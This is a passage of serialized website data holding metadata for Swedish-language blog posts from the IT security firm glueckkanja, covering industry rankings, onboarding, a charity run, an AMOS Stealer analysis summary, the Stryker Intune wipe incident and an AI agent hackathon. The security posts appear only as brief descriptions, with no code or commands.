försvar.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[1519,1085,1476],"AI",{"id":1521,"title":1522,"author":1523,"cta":494,"description":1524,"hideInRecent":484,"layout":1040,"meta":1525,"moment":1526,"path":1530,"stem":1531,"tags":1532,"webcast":484},"content_sv/posts/2026-07-22-isg-cybersecurity-2026.md","Leader och Rising Star. glueckkanja i ISG:s cybersecurity-studie 2026",[1280],"Ny i kvadranten och direkt Leader: ISG Provider Lens®-studien \"Cybersecurity – Services and Solutions 2026\" positionerar glueckkanja som Leader inom Next-Gen SOC/MDR Services för medelstora företag i Tyskland. I totalmarknaden för Next-Gen SOC/MDR Services utser ISG oss till Rising Star, alltså den leverantör som analytikerna tror kan ta steget in i Leader-kvadranten inom de närmaste 12 till 24 månaderna.",{"lang":1042,"date":1526,"categories":1527,"blogtitlepic":1528,"customExcerpt":1529},"2026-07-22",[1486],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-studien Cybersecurity 2026 utser glueckkanja till Leader i kvadranten Next-Gen SOC/MDR Services (Midmarket). I totalmarknaden för Next-Gen SOC/MDR Services är vi Rising Star. ISG intygar att vi har tillväxt över snittet, djup Microsoft-security-expertis och ett 24/7-SOC från Tyskland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[1492,1493,1047],{"id":1534,"title":1535,"author":1536,"cta":494,"description":1537,"hideInRecent":484,"layout":1040,"meta":1538,"moment":1539,"path":1542,"stem":1543,"tags":1544,"webcast":484},"content_sv/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: vad AI verkligen behöver för att arbeta",[1280],"Ett tillverkande företag vill veta vilka av dess 14 000 SKU:er som faktiskt är lönsamma. Svaret ligger i tre system som aldrig har utbytt en enda datapunkt med varandra. Fram till helt nyligen kostade det tre avdelningar, två veckor och en hel del god vilja att få fram det. Sedan början av 2026 kan en AI besvara den frågan på minuter: söka igenom data, upprätta samband, producera en rekommendation. Förutsatt att den har åtkomst.",{"lang":1042,"date":1539,"categories":1540,"blogtitlepic":1541},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[1519,131],{"id":1546,"title":1547,"author":1548,"cta":494,"description":1549,"hideInRecent":484,"layout":1040,"meta":1550,"moment":1551,"path":1555,"stem":1556,"tags":1557,"webcast":484},"content_sv/posts/2026-07-01-onboarding-process.md","Kontraktet är påskrivet: så går din onboarding till hos oss",[1371],"Hur går egentligen er onboarding till? En fråga som möter oss gång på gång i samtal med sökande, för många har redan varit med om att en onboarding går knaggligt. Desto viktigare är det för oss att ge dig en bra känsla från början.",{"lang":1042,"date":1551,"categories":1552,"blogtitlepic":1553,"customExcerpt":1554},"2026-07-01",[1486],"Onboarding_Blogheader","Kontraktet är påskrivet, det första stora steget är taget. Men hur går det vidare nu? Vi tar med dig bakom kulisserna på vår onboarding, från preboarding till första veckan i teamet.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[1558,1559,1560],"Employer Branding","Onboarding","Unternehmenskultur",{"id":1562,"title":1563,"author":1564,"cta":494,"description":1565,"hideInRecent":484,"layout":1040,"meta":1566,"moment":1567,"path":1571,"stem":1572,"tags":1573,"webcast":484},"content_sv/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: vi hör till",[1280],"I Microsofts partnerekosystem finns en hel rad erkännanden, och ändå skiljer sig Frontier Partner Badge i sin uppläggning från de övriga utmärkelserna. Den går inte att ansöka om, utan tilldelas på Microsofts initiativ till en exklusiv krets av partner som måste övertyga i flera discipliner parallellt, i stället för att briljera i en enda. Microsoft prövar därvid påvisad kompetens inom Cloud & AI Platforms, inom AI Business Solutions och inom Security på lika villkor, och vänder sig därmed till företag som inte uppfattar AI som ett påhäng på befintlig IT, utan som resultatet av en genomgående arkitektur som bär från identiteten via endpointen ända in i produktiv AI-drift.",{"lang":1042,"date":1567,"categories":1568,"blogtitlepic":1569,"customExcerpt":1570},"2026-06-26",[1486],"head-frontier-partner-badge.jpg","Sedan en tid tillbaka finns det en ny topputmärkelse i Microsoft AI Cloud Partner Program, Frontier Partner Badge. Microsoft tilldelar den uteslutande till en exklusiv krets av partner världen över som levererar bärkraftiga AI-projekt på hela Microsoft-stacken, från arbetsplatsen via molnplattformen och security ända in i själva AI-tillämpningen, och som har bevisat den ambitionen i praktiken. I DACH-området räknar den här gruppen bara en handfull företag, och vi är ett av dem.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[1492,1574,1519],"Microsoft Partner",{"id":1576,"title":1577,"author":1578,"cta":494,"description":1579,"hideInRecent":484,"layout":1040,"meta":1580,"moment":1581,"path":1585,"stem":1586,"tags":1587,"webcast":484},"content_sv/posts/2026-06-09-vair-run.md","160 kilometer för ett gott ändamål",[1378],"Söndag morgon, klockan 8:30, Holbeinsteg vid Main. Elva kollegor i enhetliga NinjaCat-tröjor, redo för Frankfurter Runden. Regn, blixt och åska inkluderat. Att springa för ett gott ändamål var motivation nog för att snöra på löparskorna trots det dåliga vädret.",{"lang":1042,"date":1581,"categories":1582,"blogtitlepic":1583,"customExcerpt":1584},"2026-06-08",[1486],"frankfurter-runden.png","Elva kollegor, 16 varv, 160 kilometer, ett åskoväder och en pallplats: glueckkanja var med på Frankfurter Runden 2026 och skänkte pengar till VAIR e.V. för varje sprunget varv. Föreningen bygger en inkluderande sport- och kulturpark i Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[1588,1558,1589],"Top Arbeitgeber","Soziales Engagement",{"id":1591,"title":1592,"author":1593,"cta":494,"description":1594,"hideInRecent":484,"layout":1040,"meta":1595,"moment":1596,"path":1600,"stem":1601,"tags":1602,"webcast":484},"content_sv/posts/2026-04-10-incident-to-intelligence.md","Anatomin hos en okänd AMOS Stealer: Från larm till immunitet på timmar",[1359],"När ett larm utlöses i vårt SOC börjar klockan ticka: inte bara för den drabbade kunden, utan för alla organisationer under vårt skydd. Det farligaste ögonblicket i dagens hotlandskap är the Intelligence Gap, tidsfönstret mellan den första användningen av en ny malware-variant och den dag branschen får kännedom om den.",{"lang":1042,"date":1596,"categories":1597,"blogtitlepic":1598,"customExcerpt":1599},"2026-04-10",[1047],"head-amos-stealer.png","En hittills odokumenterad AMOS-Stealer-variant komprometterade en macOS-endpoint. Inga kända hashvärden, inga C2-data i offentliga databaser. Vårt SOC monterade ner sex obfuskeringslager, extraherade alla indikatorer och distribuerade skyddet till alla SOC-kunder inom timmar, innan branschen ens hade sett samplet.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[1603,1604,1605,1606,1607],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center",{"id":1609,"title":1610,"author":1611,"cta":494,"description":1612,"hideInRecent":484,"layout":1040,"meta":1613,"moment":1614,"path":1617,"stem":1618,"tags":494,"webcast":484},"content_sv/posts/2026-03-21-microsoft-edge-corporate-browser.md","Därför bör Edge vara er enda Corporate Browser",[1149],"Valet av webbläsare är i företagsmiljöer ett strategiskt beslut: det påverkar direkt hur mycket säkerhet och administrativ börda ni faktiskt har. Google Chrome var länge det närliggande alternativet, men Microsoft Edge har utvecklats till en webbläsare som griper direkt in i den befintliga stacken, framför allt när Microsoft 365 används och administrationen sker via Intune.",{"lang":1042,"date":1614,"blogtitlepic":1615,"customExcerpt":1616},"2026-03-21","head-microsoft-edge-default-browser.jpg","Inget företag har egentligen valt Chrome; den fanns bara där, med egen synklogik, egen kontohantering, eget policygränssnitt. Microsoft Edge däremot griper direkt in i den infrastruktur som ändå redan är igång: Entra ID, Intune, Defender. Det här inlägget visar hur bytet ser ut, hur Chrome via en Intune-policy omdirigeras till en landningssida och vad som faller bort när man slutar köra två webbläsare parallellt.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":1620,"title":1621,"author":1622,"cta":494,"description":1623,"hideInRecent":484,"layout":1040,"meta":1624,"moment":1625,"path":1629,"stem":1630,"tags":1631,"webcast":484},"content_sv/posts/2026-03-20-stryker-attack-intune-privilege.md","Ett adminkonto var allt som krävdes.",[1253],"Onsdag den 11 mars 2026. Medarbetare på Strykers kontor i 79 länder slog på sina datorer och fann dem tomma. Inloggningsskärmar ersatta med en logotyp. Företagsdatorer, tjänstemobiler, privata enheter som var registrerade i företagets BYOD-program – alla raderade samtidigt, över natten. Ingen ransomware, inga signaturer för skadlig kod, ingenting som ett endpoint-detection-verktyg hade kunnat upptäcka.",{"lang":1042,"date":1625,"categories":1626,"blogtitlepic":1627,"customExcerpt":1628},"2026-03-20",[1047],"head-stryker.jpg","Den 11 mars 2026 raderade Handala enheter i 79 länder, och allt som krävdes för det var ett komprometterat Intune-adminkonto. Ingen skadlig kod, ingen exploit, bara legitima hanteringsverktyg vända mot sina ägare. Vad som hände, varför det fungerade och vilka två arkitektoniska luckor som måste stängas.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,1475,1476],{"id":1633,"title":1634,"author":1635,"cta":494,"description":1636,"hideInRecent":484,"layout":1040,"meta":1637,"moment":1638,"path":1642,"stem":1643,"tags":1644,"webcast":484},"content_sv/posts/2026-03-16-ai-agent-hackathon.md","Sex Agents. Fyra veckor. Skarp drift.",[1280],"Hur många timmar per vecka lägger er IT-avdelning på uppgifter som en agent skulle kunna klara på minuter?",{"lang":1042,"date":1638,"categories":1639,"blogtitlepic":1640,"customExcerpt":1641},"2026-03-16",[1486],"head-ai-agent-hackathon.jpg","Sex företag, fyra veckors byggfas, sex fungerande AI Agents – det var den första glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa och lila logistik byggde i Copilot Studio agents som idag körs i produktion. Vad som blev resultatet och hur formatet fungerar.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[1519,1645,1646,1647],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":1649,"Fritz Zurhorst":1650,"Nadine Klein":1651,"Jan Geisbauer":1652,"Carolin Kanja":1656,"Anna Ulbricht":1657,"Annette Brauns":1658,"Pascal Asch":1659,"Steffen Schwerdtfeger":1660},{"display_name":1118,"avatar":1119,"permalink":1120,"twitter":1121,"linkedin":1122,"imageOffsetTop":1123,"imageOffsetLeft":1124},{"display_name":523,"avatar":1094,"permalink":1095,"linkedin":1096,"imageOffsetTop":1097},{"display_name":524,"avatar":1113,"permalink":1114,"twitter":1115,"linkedin":1116,"imageOffsetTop":1097},{"display_name":1253,"avatar":1254,"permalink":1255,"twitter":1256,"linkedin":1256,"imageOffsetTop":1097,"socials":1653},[1654,1655],{"text":1259,"href":1260},{"text":1262,"href":1263},{"display_name":1280,"avatar":1281,"permalink":1282,"twitter":1283,"linkedin":1284},{"display_name":1371,"avatar":1372,"permalink":1373,"linkedin":1374,"imageOffsetTop":1375,"imageOffsetLeft":1376},{"display_name":1378,"avatar":1379,"permalink":1380,"linkedin":1381,"imageOffsetTop":1382,"imageOffsetLeft":1123},{"display_name":1359,"avatar":1360,"permalink":1361,"linkedin":1362,"imageOffsetTop":1196},{"display_name":1149,"avatar":1150,"permalink":1151,"linkedin":1152,"twitter":1153,"imageOffsetTop":1154,"imageOffsetLeft":1155},{"id":1089,"extension":1090,"meta":1662,"stem":8,"__hash__":1440},{"Fritz Zurhorst":1663,"Nadine Klein":1664},{"display_name":523,"avatar":1094,"permalink":1095,"linkedin":1096,"imageOffsetTop":1097},{"display_name":524,"avatar":1113,"permalink":1114,"twitter":1115,"linkedin":1116,"imageOffsetTop":1097},1791383951196]